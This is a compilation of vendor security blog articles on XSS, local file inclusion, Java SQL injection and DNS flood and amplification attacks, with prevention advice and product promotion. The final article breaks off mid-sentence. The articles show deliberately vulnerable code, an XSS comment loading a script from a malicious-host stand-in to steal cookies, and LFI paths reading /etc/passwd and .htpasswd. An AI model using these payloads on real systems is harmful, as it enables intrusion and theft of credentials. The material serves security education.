XSS Attack: 3 Real Life Attacks and Code Examples

What is an XSS Attack?

A cross-site scripting (XSS) attack injects malicious code into vulnerable web applications. XSS does not target the application directly. Instead, XSS targets the users of a web application.

A successful XSS attack can cause reputational damages and loss of customer trust, depending on the scope of the attack. Here are common examples:

  • An XSS attack can employ a Trojan horse program to modify the content on a site, tricking users into providing sensitive information. 
  • Successful XSS attacks can reveal session cookies, which allow cybercriminals to impersonate real users and use their accounts.

In this article:

Real-Life Examples of Cross-Site Scripting Attacks

British Airways

In 2018, British Airways was attacked by Magecart, a high-profile hacker group famous for credit card skimming attacks. The group exploited an XSS vulnerability in a JavaScript library called Feedify, which was used on the British Airway website. 

Attackers modified the script to send customer data to a malicious server, which used a domain name similar to British Airways. The fake server had an SSL certificate, so users believed they were purchasing from a secure server. They succeeded in performing credit card skimming on 380,000 booking transactions before the breach was discovered.

Fortnite

In 2019, the popular multiplayer game experienced an XSS vulnerability that over 200 million users. A retired, unsecured page went unnoticed by Fortnite developers. The page had an XSS vulnerability that allowed attackers to gain unauthorized access to the data of all Fornite users.

Attackers could have used XSS, in combination with an insecure single sign on (SSO) vulnerability, to redirect users to a fake login page. This would allow them to steal virtual currency within the game, and record player conversations, as reconnaissance for future attacks. Check Point discovered the attack and notified Fortnite, but it is unknown if the vulnerability was exploited by attackers in the interim.

eBay

In late 2015 and early 2016, eBay had a severe XSS vulnerability. The website used a “url” parameter that redirected users to different pages on the platform, but the value of the parameter was not validated. This allowed attackers to inject malicious code into a page. 

The vulnerability enabled attackers to gain full access to eBay seller accounts, sell products at a discount, and steal payment details. It was actively used by attackers to manipulate eBay listings of high value products such as vehicles. eBay eventually remediated the vulnerability, but follow-on attacks continued until 2017.

How Does a Cross-Site Scripting Attack Work?

Cross-site scripting is when an attacker manipulates a vulnerable website so it returns malicious scripts to the user. This process typically involves JavaScript, but an attacker can use any client-side language. XSS primarily targets JavaScript due to the language’s integration with many browsers. 

The weaknesses that allow XSS attacks to occur are widespread. XSS attacks can exploit weaknesses in different programming environments – examples include Flash, VBScript, JavaScript, and ActiveX. The ability to exploit widely used platforms makes XSS attacks a severe threat. 

Here are methods attackers use to compromise websites using XSS attack: 

  • Targeting website functions that accept user input – examples include login forms, search bars, and comment boxes. The attacker loads their malicious code on top of the valid website, deceiving the browser into running their malware whenever users load the site. 
  • Malicious code on another domain – according to how the attacker injects the code, malicious content may not be on the actual website. It can be a transient element that only looks like part of the site at the time of exploitation.
  • Stealing session data – the JavaScript runs on the victim’s browser page, permitting the attacker to steal sensitive information about the user from the website session. The attacker can compromise the user’s session and gain unauthorized access. 

Here are different ways to trigger an XSS attack:

  • A user can trigger the execution automatically when they load the page or hover over certain page elements, including hyperlinks.
  • Attackers can carry out XSS directly, for example, in an email message containing a malicious link.
  • Certain XSS attacks don’t have a particular target. Rather the attacker exploits a vulnerability in a site or application targeting random victims.  

Here are some ramifications of an XSS attack:

  • Depending on the attack’s scale, attackers could compromise user accounts, activate Trojan horse programs, and modify page content, misleading users into sharing their sensitive data.
  • Attackers could gain information about session cookies, so they can impersonate authentic users and compromise their private accounts. 

An effective cross-site scripting attack may have consequences for an organization’s reputation and its relationship with its customers. 

Learn more in our detailed guide to reflected xss.

Impact of XSS Vulnerabilities

The impact of an XSS vulnerability depends on the type of application. Here is how an XSS attack will affect three types of web applications:

  • Static content – in a web application with static content, such as a news site with no login functionality, XSS will have minimal impact, because all users are anonymous and information is publicly available.
  • Sensitive data – if an application stores sensitive user data, such as financial or health services, XSS can do major damage because it can allow attackers to compromise user accounts. 
  • Privileged users – if an attacker can use XSS to take over the session of a privileged user, such as the web application administrator, they can gain full control over the application and compromise all its data.

Related content: Read our guide to XSS vulnerabilities

XSS Attack Code Examples

Cross-site scripting vulnerabilities typically occur in parts of a website or web application where users can post or upload their own data – for example, the comments section of a blog.

The code in the following examples was provided by the OWASP project.

Reflected XSS Example

The following code segment reads the eid parameter from the HTTP request and displays it. There is no validation in the code to verify that that value of eid is alphanumeric text. An attacker can replace this value with malicious source code, and it will execute in the browser.

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The danger of this vulnerability is that attackers can email the URL with the malicious code to a user and cause them to click it, thus running malicious code on their own device.

Stored XSS Example

The following code is a database query that reads an employee’s name from the database and displays it. The vulnerability is that there is no validation on the value of the name data field. If data in this field can be provided by a user, an attacker can feed malicious code into the name field. 

This malicious code will then be stored in the database, and whenever the name is displayed in a browser, the malicious code will execute.

<%…
 Statement stmt = conn.createStatement();
 ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
 if (rs != null) {
  rs.next();
  String name = rs.getString("name");
%>

Employee Name: <%= name %>

Error Page XSS Attack Example

Consider a traditional 404 error page that displays the URL the user attempted to access and informs the user that it does not exist.

<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>

Because the code does not validate the REQUEST_URI, an attacker can manipulate this data value to execute a malicious script. Attackers can use this, for example, to hijack a session cookie. 

http://testsite.test/<script>alert("TEST");</script> The result is: Not found: / (but with JavaScript code <script>alert("TEST");</script>)

Detecting and Testing for XSS with Bright

While Dynamic Application Security Testing (DAST) tools are able to test for some XSS vulnerabilities, they are often limited and produce a high ratio of false positives.

Bright can automatically crawl your applications to test for reflected, stored and DOM-based XSS vulnerabilities, giving you maximum coverage, seamlessly integrated across development pipelines.

Engineering and security teams can trust Bright’s results, with automatic validation of every XSS finding carried out, with no false positives. Bright even generates a screenshot proof of concept along with comprehensive developer friendly remediation advice to fix the issue quickly and early.

Get a free Bright account and start testing today!

Local File Inclusion (LFI): Understanding and Preventing LFI Attacks

What is Local File Inclusion (LFI)?

Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server. LFI attacks can expose sensitive information, and in severe cases, they can lead to cross-site scripting (XSS) and remote code execution. LFI is listed as one of the OWASP Top 10 web application vulnerabilities.

File inclusions are a key to any server-side scripting language, and allow the content of files to be used as part of web application code. Here is an example of how LFI can enable attackers to extract sensitive information from a server. If the application uses code like this, which includes the name of a file in the URL:

https://example-site.com/?module=contact.php

An attacker can change the URL to look like this:

https://example-site.com/?module=/etc/passwd

And in the absence of proper filtering, the server will display the sensitive content of the /etc/passwd file.

As LFIs help an attacker trick a web application into either running or exposing files on a web server, a local file inclusion attack can lead to cross-site scripting (XSS) and remote code execution (RFI) vulnerabilities.

This is part of an extensive series of guides about application security

In this article, you will learn:

How Do Local File Inclusions Work?

When an application uses a file path as an input, the app treats that input as trusted and safe. A local file can then be injected into the included statement. This happens when your code is vulnerable. In this case, a hacker makes a request that fools the app into executing a malicious PHP script (web shell for example). 

In some cases, if the application provides the ability to upload files, attackers can run any server-side malicious code they want. Most applications do not provide this capability, and even if they do, the attacker cannot guarantee that the app saves the file on the server where the LFI vulnerability is located. The attacker will also need to know the file path to their uploaded file on the server file system.

Impact of Exploited Local File Inclusion vulnerabilities

The impact of a Local File Inclusion attack can vary based on the exploitation and the read permissions of the webserver user. Based on these factors, an attacker can gather usernames via an /etc/passwd file, harvest useful information from log files, or combine this vulnerability with other attack vectors (such as file upload vulnerability) to execute commands remotely.

Let’s take a closer look at three possible outcomes of local file inclusion:

1. Information disclosure

Although not the worst outcome of a local file inclusion vulnerability, information disclosure can reveal important information about the application and its configuration. That information can be valuable to an attacker to gain a deeper understanding of the application and can help them detect and exploit other vulnerabilities.

2. Directory Traversal

A local file inclusion vulnerability can lead to Directory Traversal attacks, where an attacker will try to find and access files on the web server to gain more useful information, such as log files. Log files can reveal the structure of the application or expose paths to sensitive files.

An incorrectly configured server can give attackers access to user config files, giving them access to other files on your server, or even gain administrator access. 

If you want to learn more about directory traversal, we have a great article that covers this vulnerability in more depth – Directory Traversal: Examples, Testing, and Prevention

3. Remote Code Execution

Combined with a file upload vulnerability, a Local File vulnerability can lead to remote code execution. In this case the attacker would use LFI to execute the unwanted file.

To compound matters, an attacker can upload a file to the server to gain the ability to execute commands remotely, resulting in the attacker being able to control the whole server remotely.

Learn more in our detailed guide to file inclusion vulnerability.

Scenarios Where Local File Inclusions Are Used

Including Files to be Parsed by the Language’s Interpreter

Developers usually divide a website’s code into directories, multiple files, etc. to make everything neat and readable. In order for an interpreter to find these files you need to designate the correct file path and then pass it to a function. The function then opens the file in question and includes it inside the document for the parser to be able to see it as valid code that can be interpreted.

What happens when there’s no effective filtering? Well, code like this:

https://example-site.com/?module=contact.php

Can be changed to look like this:

https://example-site.com/?module=/etc/passwd

As you can see, the contact.php part of the code was replaced with /etc/passwd. Passwords, username information, the attacker can see the content of everything depending on what they are looking for. That’s not all, as more severe cases include the injection of code on the webserver. The parser then interprets this code as an instruction that can exploit an LFI vulnerability. Some hackers can use the Local File Inclusion vulnerability to stage a directory traversal/path traversal attack that in turn gives the hacker full access to error.log and access.log or some other type of sensitive meta-data.

Including Files that are Printed to a Page

A developer sometimes wants to share the output of a file across multiple web pages. A header. file or something similar. To keep things quick, a dev wants the change of this file to be seen on all pages where it was included immediately. This file, while standardly plain HTML, can also be used to display ordinary text files:

https://example-site.com/?helpfile=login.txt

This way the content of the text file gets printed straight to the page. The information isn’t stored in any database. A hacker will exploit this and alter the link if no filter stops them. Then helpfile=login.txt becomes helpfile=../secret/.htpasswd and all of a sudden the hacker has access to the password hashes of a .htpasswd file. A file that includes all the credentials of any user that can access a restricted area of that webserver. Naturally, this information falling into the hands of a hacker is a terrible thing for a company and is a severe security threat.

Including Files that are Served as Downloads

Lastly, we have types of files that all web browsers automatically open. A PDF, for example. Users can configure this so the files get downloaded instead of shown in the browser window. That’s achieved by adding an additional header that tells the browser to do things differently. A simple Content-Disposition: attachment; filename=file.pdf addition in the request and now the files are downloaded instead of opened. An example would look something like this:

https://example-site.com/?download=brochure.pdf

An issue arises when the request isn’t sanitized. This way the hacker has the option of requesting the download of the base files (the building blocks of the web app). They can then read the source code and find other web application vulnerabilities, making that hacker an enormous threat to your cybersecurity.

Related content: Read our guide to lfi attack.

Manually Testing for Local File Inclusion

Here are a few ways to test for LFI vulnerabilities in your web applications.

Null Byte Injection

The terms “null character”, “null terminator”, and “null byte” all refer to a control character where the value zero is present in the reserved character sets used to mark the end of the string. The null byte ensures that any character following it is ignored. 

Typically, a null byte is injected as %00 at the end of a URL. Here is an example:

https://example-site.com/preview.php?file=../../../../../passwd%00

Path and Dot Truncation

The majority of PHP installations limit filenames to 4096 bytes. If a filename is longer, PHP truncates it and discards all additional characters. However, attackers can remove the 4096 bytes limitation from the .php extension, manipulating the process. In this case, no error is triggered, additional characters are dropped, and the PHP engine continues its execution.

Typically, attackers combine this bypass with other logic bypass techniques. For example, attackers might introduce double encoding, encode part of a file path with Unicode, or use other inputs that represent a valid filename.

PHP Wrappers

LFI vulnerabilities usually give attackers read-only access to sensitive data, granted from the host server. There are, however, ways to turn this read-only access into a fully compromised host. This type of attack is called Remote Code Execution (RCE). Attackers create RCE vulnerabilities by combining an LFI vulnerability with PHP wrappers. 

A wrapper is an entity that surrounds another entity (in this case – code). The wrapper can contain functionality added to the original code. PHP uses built-in wrappers, which are implemented alongside file system functions. Attackers use this native functionality of PHP to add vulnerabilities into wrappers.

Here are two commonly used wrappers:

  • PHP filter – provides access to a local file system. Attackers use this filter to read PHP files containing source code, typically for the purpose of identifying sensitive information, including credentials.
  • PHP ZIP – this wrapper was designed to manipulate files compressed into a ZIP format. However, its behavior enables attackers to create a malicious ZIP file and upload it to the server. 

There are many more wrappers that could be exploited by attackers. Some PHP wrapper vulnerabilities are well known while others require deep ad hoc analysis to be discovered.

Preventing Local File Inclusion vulnerabilities

Here are a few ways to prevent LFI attacks:

  • ID assignation – save your file paths in a secure database and give an ID for every single one, this way users only get to see their ID without viewing or altering the path
  • Whitelisting  – use verified and secured whitelist files and ignore everything else
  • Use databases – don’t include files on a web server that can be compromised, use a database instead
  • Better server instructions – make the server send download headers automatically instead of executing files in a specified directory

How Bright Can Help You Find LFI Vulnerabilities

Bright can help you scan web applications to make sure no one tinkered with the code and tried to use Local File Inclusion to steal sensitive information. 

Bright is an automated black-box security testing solution that scans your entire application on its own, identifies any vulnerabilities, then notifies you of their existence and tells you how to remedy them. Bright saves time by finding LFI vulnerabilities and telling you how to fix them. For example, in the example below:

https://example-site/bar/file=content.ini..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Bright shows the original part of the code in red. The green part of the code is the one that was altered by someone. Our tool also provides remedy guidelines that can help a developer or SecOps team member instantly remediate the vulnerability. 

Learn more about Bright and get started today!

See Additional Guides on Key Application Security Topics

Together with our content partners, we have authored in-depth guides on several other topics that can also be useful as you explore the world of application security.

Vulnerability Management

Authored by Bright Security

API Security

Authored by Bright Security

SSRF

Authored by Bright Security

What is Persistent (Stored) XSS and How it works

What is Persistent (Stored) XSS

There are several types of cross site scripting (XSS) attacks to be concerned about, however the most dangerous XSS attack type is Persistent XSS, also known as stored XSS. 

A Persistent XSS attack is possible when an attacker uses a vulnerable website or web application to inject malicious code which is stored and later automatically served to other users who visit the web page. It is because this input was not validated before storing and embedding content into HTML responses, that the application is vulnerable.

To understand other common XSS attacks and how they work, read our previous article: What is XSS? Impact, Types and Prevention

In this article:

Why is Persistent XSS Dangerous?

Persistent XSS is particularly dangerous because it targets websites that receive user content into their database. So forums, blogs with enabled comments, CRM / ERP Systems, web-based email servers or clients, or any other type of website where users can share their content. 

If not dealt with properly, Persistent / Stored XSS attacks can have a devastating and continuing effect on your applications. Much like a pandemic – once it’s set up on the victim’s website, anyone who comes in contact with the website can be affected. The unassuming visitor does not need to click on a malicious link to run the payload (as is the case with Non-Persistent XSS). All they have to do is visit a vulnerable web page.

How Persistent XSS Attacks Work

The attack starts when an attacker steals the visitor’s session cookies. Say that you own a website that sells sports equipment. These eCommerce sites often have user reviews as an option where everyone can leave their review and post it on the website.


A malicious user could post a snippet of JavaScript code into your reviews section and submit the comment. For example, a comment could be something like:

“I loved the shoes! <script scr=’http://maliciouswebsite.com/maliciousscript.js’>”

In this scenario, any time a new visitor opens this product’s page, the malicious code activates and steals their session cookies. This could result in a substantial data leak that might enable the attacker to access the user’s personal and sensitive information, such as their credit card information. 

As a reminder, the difference between reflected XSS and stored XSS is that the latter doesn’t require the user to click a malicious link – it automatically executes on the website without any suspicion from the users, meaning that the damage is so much greater as the amount of potential victims is so much bigger.

How to Prevent Persistent Cross-site Scripting

The best way to prevent your application being exploited by XSS attacks is to eliminate XSS vulnerabilities, by testing your websites and applications using a security vulnerability scanner like Bright, able to detect all types of XSS vulnerabilities, whether Reflected XSS, DOM-based XSS, or indeed Stored/Persistent XSS.

There are a few methods that you could use to prevent Persistent Cross-site Scripting, which include:

  • WAF (web application firewall)
  • Whitelisting
  • CSP

WAF (Web Application Firewall) 

Perhaps the most efficient way of preventing XSS attacks is a web application firewall (WAF). It’s the most popular for blocking persistent cross-site scripting as well as other malicious attacks. 

WAF uses signature-based filtering which allows it to automatically identify and block malicious attempts before they can be executed, but note 100% success cannot be guaranteed, as evidenced by a multitude of breaches where WAFs were non-effective. 

Whitelisting

Whitelisting is commonly used to prevent all sorts of malicious hacker attacks, and this case is no different. The point of whitelisting is for the developer to only allow certain characters and patterns that a user could input and send to the database. 

If done correctly, whitelisting can be a long-term solution and is generally a better solution than blacklisting, which could result in some functionality issues in your web application, and is harder to maintain in general.

CSP (content security policy)

Content security policy is a highly-renowned method of blocking malicious scripts, especially for cases like stored XSS. CSP only allows you to run scripts from a specific domain. In the previous example of this article, the attack wouldn’t be possible if CSP was enabled as it would block execution of a script from a foreign source. 

Dynamic Application Security Testing (DAST)

Using reactive solutions like a WAF will help you prevent Persistent XSS vulnerabilities being exploited, but is no guarantee. Proactive measures to ensure that your applications are not exploitable should be adopted, which includes regularly scanning your applications, ideally as part of your development pipeline, to detect and fix issues before they hit production. Dynamic Application Security Testing scanners test for a multitude of vulnerability types, including Stored XSS

While legacy DAST tools have the drawback of being implemented late in the development process or used by security teams on production, often too late, modern DAST tools like Bright have addressed this issue.

With Bright, you can detect a comprehensive list of security vulnerabilities, including Stored/Persistent XSS, Reflected XSS and Dom Based XSS, either as a standalone scanner or fully and seamlessly integrated into your development pipelines, with NO false positives. Developers can test every build / commit, so issues are found early and often, remediated sooner to reduce your exposure while also minimizing technical and security debt.


Sign up for a FREE account here to start scanning your web applications and APIs today

SQL Injection in Java and how to easily prevent it

Java developers have a rich ecosystem available to them, including robust application frameworks and proven Object-Relational Mapping (ORM). Unfortunately, frameworks and ORMs aren’t enough to make a language secure from SQL injection. For example, 70% of security threats to Ruby apps are still SQL Injections, despite counting with Rails as a stable development framework. In this blog post we are going to cover SQL injection in Java programming language and how to stay protected.

In this article:

What is SQL Injection in Java?

Before we talk about SQL injection in Java, let’s first cover what an SQL injection attack is.

SQL injection represents one of the top ten web application vulnerabilities according to OWASP Top 10. In simple terms, in an SQL injection attack, the attacker is trying to inject/insert SQL code in a query, to gain unauthorised viewing of user lists, detection of entire tables, or in some cases, the attacker could gain administrative privileges to a database. One important aspect when we talk about SQLi is the potential loss of customer trust should personal information be stolen.

The victim of an SQL injection attack can be any application using relational databases like Oracle, MySQL, PostgreSQL and SQL Server. So, if your Java application uses a relational database, and there is a huge chance it is, it could be vulnerable to SQL injection attacks.

SQL Injection in Java

Java SQL injection example

Take a look at the following lines of code:

//Get name of item
String name=”Apple”;

//check the database
String query=”SELECT * FROM items WHERE item_name=”’ + name + “‘“;

The property ‘name’ is user-supplied. What if the user enters something else instead of “Apple”. Let’s take for example the following:

test’ OR ‘1’=’1

The final query would look like this:

SELECT * FROM items WHERE item_name=’test’ or ‘1’=’1’;

While this example may look trivial, as we only return all the records from the “items” table, you need little imagination to see how devastating this can be for the business if we were, for example, to dump the table of “users”.

How to prevent SQL injections in Java

Use parameterized queries

The usage of parameterized queries instead of concatenating values should be the first and most important step you can take against SQL injection in Java. Here is an example how that would look in practice:

String sql = "select id, title, excerpt, body from Posts where slug = ?";

The values that we would concatenate are replaced with a placeholder, in the form of a question mark. In the next step we have to create a prepared statement to bind the parameter’s value to it:

Connection connection = dataSource.getConnection();
PreparedStatement p = c.prepareStatement(sql);
p.setString(1, slug);

Parameterized queries allow us to safely assemble queries with user-submitted values. 

Allow list input validation

A list input validation can be used to complement using parameterized queries, as opposed to being an alternative. 

The process of whitelisting input validation is made up of restricting inputs to a pre-compiled list of known, valid values and blocking everything else. That, for example, includes things such as the use of regular expressions to validate some parts of information, verifying that the numeric parameters fall into expected ranges, and ensuring that parameters meet the expected data type.

Allow list input validation should be carried out for all user inputs, whether URL parameters, form fields, content from imported files amongst others. 

Execute queries with the least possible privilege

While more of an alleviation of the effects, as opposed to a fully preventative measure, it’s one that’s essential to have, nonetheless. If the previously mentioned preventative steps don’t help and the attacker finds a way to succeed in his SQLi attempt, it’s important that your application uses a connection string whose user has the least possible privilege.

Sometimes the only database privileges the app needs are reading ones. In that case, use a connection string that only has reading privileges. That way if an attacker is able to inject malicious code, at least they won’t be able to alter or delete data. 

Use Java Persistence

Another option when it comes to preventing SQL injection in Java is using Java Persistence Query Language, or JPQL. There are several implementations of the Java Persistence API. The two most popular are Spring Data JPA and Hibernate. Java Persistence API adds an extra data layer for apps, and helps limit an attacker’s ability to use and leverage SQL injections.

Detecting SQL injection in Java applications with Bright

Bright helps automate the detection and remediation of many vulnerabilities including SQL Injection, early in the development process.

By shifting DAST scans left in the development pipeline and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright completes scans in minutes with no  false positives, by automatically validating every vulnerability, so you don’t have to. This allows developers to adopt the solution and use it throughout the development lifecycle.

Scan your WordPress website or any other web app and prevent SQL injection vulnerabilities – try Bright for free.

Cross Site Scripting in JavaScript: Everything You Need to Know

What is Cross Site Scripting (XSS)

With Cross Site Scripting, attackers execute malicious JavaScript within a victim’s browser to steal session cookies and impersonate a user, as well as using XSS to deface websites, spread malware, phish for user credentials, support social engineering techniques, and more.

In this article:

Types Of XSS

There are three types of cross site scripting, namely:

  • Reflected XSS
  • Dom-based XSS
  • Stored XSS

Reflected XSS

Reflected XSS occurs when the website allows for malicious scripts to be injected into it. An attacker then sends the link of the targeted website containing the malicious script to other users. Once  the link (mostly anchor links) is opened, the script executes and the attacker is able to steal the user’s session cookies. 

This is an efficient attack as it allows for the script to fire off every time a new user opens the malicious link. 

For example, a website “https://www.vulnerable-website.com/” could have a search functionality that would look like: https://www.vulnerable-website.com/search

Once the user inputs the data into the search field, the url would look like this:

https://www.vulnerable-website.com/search/?input=”test”

However, the lack of proper sanitization could result in malicious code being injected into the input value. It would look something like this:

https://www.vulnerable-website.com/search/?input=<script>/*snippet of dangerous code*/</script>

This is all that’s required for an attacker to spread the malicious code to every visitor using this link, and is why Reflected XSS is so dangerous and widespread.  Additionally, it doesn’t even need to store the data to the servers of the web application, allowing it to fly under the radar.

DOM-based XSS

Dom-based cross site scripting is mainly used for hijacking the user sessions, allowing the attacker to gain unauthorized access to the website. 

An  attacker sends the malicious code to vulnerable functions such as eval(), prompting JavaScript to execute the code via the said function. As a consequence, the victim application runs the malicious script, giving the attacker access. 

Stored XSS

Stored XSS attacks use HTTP requests to gain unauthorized access and exploit vulnerabilities on the website. 

Simply put, the attacker exploits the lack of input sanitation and manages to add malicious JavaScript code to the request. If the website requests an input field, the lack of proper sanitation allows the attacker to introduce this code, exploiting vulnerabilities on the website. 

Any user that opens the affected page of the website is affected,  given that the malicious code executes in the browser. 

How XSS Vulnerability Happens in JavaScript

There are multiple ways to inject an XSS vulnerability in JavaScript. In fact, JavaScript is the weak point of most websites and applications, given that JavaScript can dynamically add content to the rendered page. If an  attacker manages to send their own snippet of JavaScript code to the server, it will execute and result in potentially dangerous attacks to your web application. 

The primary cause for this is due to a lack of input sanitisation by the developer. This occurs predominantly with contact forms or similar input fields. If they aren’t handled properly, the attacker can inject their malicious code into that input field, causing the website to run the malicious code.

A good example of a dangerous snippet of code on a website is innerHTML. This allows the attacker to directly modify the website by sending malicious data via JavaScript, and executing it using innerHTML. 

How to Prevent Cross Site Scripting Attacks in JavaScript

There are a few popular methods in preventing Cross Site Scripting attacks:

  • Input validation
  • WAF (Web Application Firewall)
  • Content security policy

Input Validation

The best way to prevent cross site scripting attacks is to ensure every input field is validated.

You should always replace sensitive characters that may cause disruption with their entities. Even though they display the same way, entities cannot generate HTML, saving you potential failures in the future. 

There are many ways in which you can validate the user’s input using JavaScript, such as using vanillaJS, or  external libraries such as jQuery’s validator, which is highly regarded for its simplicity in practical terms. 

Even though it’s often impossible to do so, try restricting the user input to a specified list whenever you can, such as when selecting a currency, country, etc.

WAF

Another method of defending against XSS, as well as various other attacks, is by using a Web application firewall (WAF).  which continuously monitor and intercept these attacks. However, WAFs should be used as a last-resort defensive measure and do not offer 100% protection – being secure by design should be your main priority.

Content Security Policy

Creating content security policy (CSP) is perhaps the most efficient way of preventing XSS and other  vulnerabilities. It prevents XSS by white-listing URLs the browser can load and execute JavaScript from. By specifying specific CSP directives, the server prevents the browser from executing any JavaScript that comes from an untrusted URL. The CSP works as a white list, where only domains listed are allowed to execute and everything else is blocked.

XSS Protection in JavaScript with Bright

As a developer, being able to easily detect and fix XSS issues before they hit production is a must.

With Bright you can easily detect XSS, either as a standalone scanner or fully and seamlessly integrated into your development pipelines, with NO false positives. 

Sign up for a FREE account here to start scanning your web applications and APIs today 

DNS Flood DDoS Attack: How it Works and How to Protect Yourself

What Is DNS Flood Attack?

DNS Flood is a DNS attack in which cybercriminals use the Domain Name System (DNS) protocol to carry out a version of User Datagram Protocol (UDP) flood. Cybercriminals deploy valid but spoofed DNS request packets at an extremely high packet rate and create an extremely large group of source IP addresses. 

Because these look like valid requests, the target’s DNS servers start to respond to every request. The DNS server may be overwhelmed by the sheer number of requests. The DNS attack takes up great amounts of network resources that tire out the DNS infrastructure until it is taken offline, causing the target’s internet access to go down with it. 

In this article:

DNS Flood vs DNS Amplification vs UDP Flood

DNS flood attacks must be clearly distinguished from DNS amplification attacks. DNS amplification is an asymmetrical DDoS attack – it involves a cybercriminal sending a look-up query with spoofed target IP, causing the spoofed target to be the receiver of greater DNS responses. With such attacks, the cybercriminal’s aim is to saturate the network by over-taxing bandwidth capacity on an ongoing basis. 

A DNS flood  is a symmetrical DDoS attack. Such attacks aim to tire-out server-side assets (such as CPU or memory) using a flood of UDP requests, which are created by scripts running on compromised bonet machines. 

A DNS flood attack is considered a variation of the UDP flood attack, because DNS servers use the UDP protocol for name resolution. This is classified as a Layer 7 attack. For UDP-based queries (as distinct from TCP queries), the attack prevents the creation of an entire circuit, making it easier to achieve spoofing. 

Learn more in our detailed guides to DNS amplification attacks

How Does a DNS Flood Attack Work?

The Domain Name System translates between domain names that are easy to remember (for instance example.com) and website server addresses that are difficult to remember (for instance 192.168.0.1). A successful attack on DNS infrastructure can thus make the internet unusable for most users. 

DNS flood attacks are a relatively new form of DNS attack, which has grown with the increase of high bandwidth IoT botnets such as Mirai.  

DNS flood attacks leverage the high bandwidth connection of various IoT devices like DVR boxes and IP cameras to bombard the DNS servers of a provider. The amount of requests from IoT devices floods the DNS provider’s services and stops valid users from gaining access to the provider’s DNS servers. 

DNS amplification attacks differ from other DNS flood attacks. DNS amplification amplifies and reflects traffic off unsecured DNS servers to conceal the origin of the attack and to increase its success. 

DNS amplification attacks send large volumes of requests to unsecured DNS servers, using devices with small bandwidth connections. The devices forward multiple small requests for extremely large DNS records, while attackers redirect the return address to the targeted victim’s address. Amplification lets cybercriminals attack larger targets using only limited resources. 

Another major type of DNS flood attack is DNS NXDOMAIN flood attack, whereby the cybercriminal floods the DNS server with requests for records which are invalid or nonexistent. The DNS server uses up all its resources searching for these records, its cache becomes full of bad requests, and in the end it has no resources to deploy legitimate requests.

Learn more in our detailed guide to dns flood attack.

DNS Flood Attack Mitigation Approaches

If the cybercriminal makes use of a huge amount of IP addresses, they may bypass various anomaly detection algorithms. This can make it difficult to mitigate DNS flood attacks. 

However, there are various approaches you can use to mitigate this kind of attack: 

  • Keep your DNS resolver private – ensure your resolver is not exposed to external users. You should restrict its usage to internal network users alone, which will prevent its cache from being contaminated by cybercriminals from outside your organization. 
  • Use a DDoS mitigation service – irrespective of where you retain your DNS servers, they are always prone to DDoS attack, which may cause your services to be unreachable and make business disruptions. To stop DNS DDoS Flooding, use a DDoS mitigation service from a trusted third party. This service may help to stop some of the unwanted traffic and make sure your DNS services stay reachable.
  • Use a patch management solution – this is an essential tool for DNS flood attack mitigation. Cybercriminals often take advantage of vulnerabilities and loopholes in software, so you need to run patches regularly. Keep name servers up-to-date and patched to prevent them from being subject to known vulnerabilities.
  • Utilize a dedicated DNS server – small organizations generally host their DNS server alongside their application server to save money, but this makes the likelihood of DNS flood DDoS attacks greater. It is best to run your DNS services on a dedicated server.
  • Carry out DNS audits – with time, organizations often forget about their outdated subdomains. You might be using old software, or software that is vulnerable to exploitation. Regular auditing of DNS zones will offer an insight into DNS-related vulnerabilities, letting you understand what needs to be addressed.

Learn more in our detailed guide to dns tunneling.

DNS Flood Attack with Bright

Bright automatically scans your apps and APIs for hundreds of vulnerabilities, including DNS security issues.

The generated reports are false-positive free, as Bright validates every finding before reporting it to you. The reports come with clear remediation guidelines for your team and thanks to Bright’s integration with ticketing tools like Jira, assigning a finding to a developer for fixing is easily done.

Try Bright for free – Register for a Bright account

DNS Amplification Attack: How they Work, Detection and Mitigation

What Is a DNS Amplification Attack?

DNS amplification is a type of DNS attack that performs Distributed Denial of Service (DDoS) on a target server. It involves cybercriminals exploiting publicly available, open DNS servers to overwhelm a target with DNS response traffic. 

The attacker sends a DNS lookup request to an open DNS server, where the source address is spoofed to become the target address. When the DNS server returns the DNS record response, it is relayed to the new target, controlled by the attacker.

In this article:

How Does a DNS Amplification Attack Work?

In a DNS amplification attack, cybercriminals exploit the everyday functioning of the Domain Name System (DNS), turning it into a weapon that can damage the victim’s website. The aim is to bombard the site with fake DNS search requests, which take up network bandwidth until the website fails.  

For an example of how DNS works, look at the following scenario: 

  1. The user enters www.example.com into a browser – DNS is the internet service that receives that request, locates the IP address given to the domain name, and transfers it back to the browser, permitting the client to connect to the site.  
  2. There is a particular method for locating that address, starting with the user’s computer examining its local cache:
    1. If not found, query the given ISP’s DNS servers 
    2. If still not found, systematically go through the DNS resolvers throughout the internet up to the time this IP address is located. 
  3. At first, an organization’s network generally resolves DNS requests in relation to its employees, however, the internet includes many “open”, publicly accessible DNS resolvers which are capable of resolving DNS requests for anybody – including cybercriminals. Cybercriminals make use of these open resolvers, and can send fake requests without drawing attention. 

The attacker’s aim is to turn relatively small DNS requests into extremely large responses. A common DNS request (a few lines of text) is very small (typically in the tens of bytes) and gives a response that is only a bit larger.  

The next steps for an attacker typically look like this:

  1. The attacker crafts DNS requests in a manner that dramatically amplifies the size of the response. One means of doing this is to request not only the IP address for a website such as www.example.com, but data about the whole domain (for instance, using DNS requests for the record kind “ANY”). 
  2. The response could feature details about backup servers, subdomains, aliases, mail servers and more. 
  3. All of a sudden, a 10-byte DNS request might create a response that is 10, 20, or even 50 times greater. 

Learn more in our detailed guide to dns tunneling.

DNS Reflection-Amplification Attacks

A common DDoS attack type that is currently widely employed is the combined reflection-amplification attack, which lets cybercriminals generate higher-volume attacks by making use of two processes: 

  • Reflection attack – the attacker spoofs a target’s IP address and dispatches the request for data, mainly via the UDP, or the TCP. The server reacts to the request, and responds by answering the target’s IP address. This “reflection” – making use of the same protocol in two directions – is why it is named a reflection attack. All servers operating TCP- or UDP-based services may be targeted to be a reflector
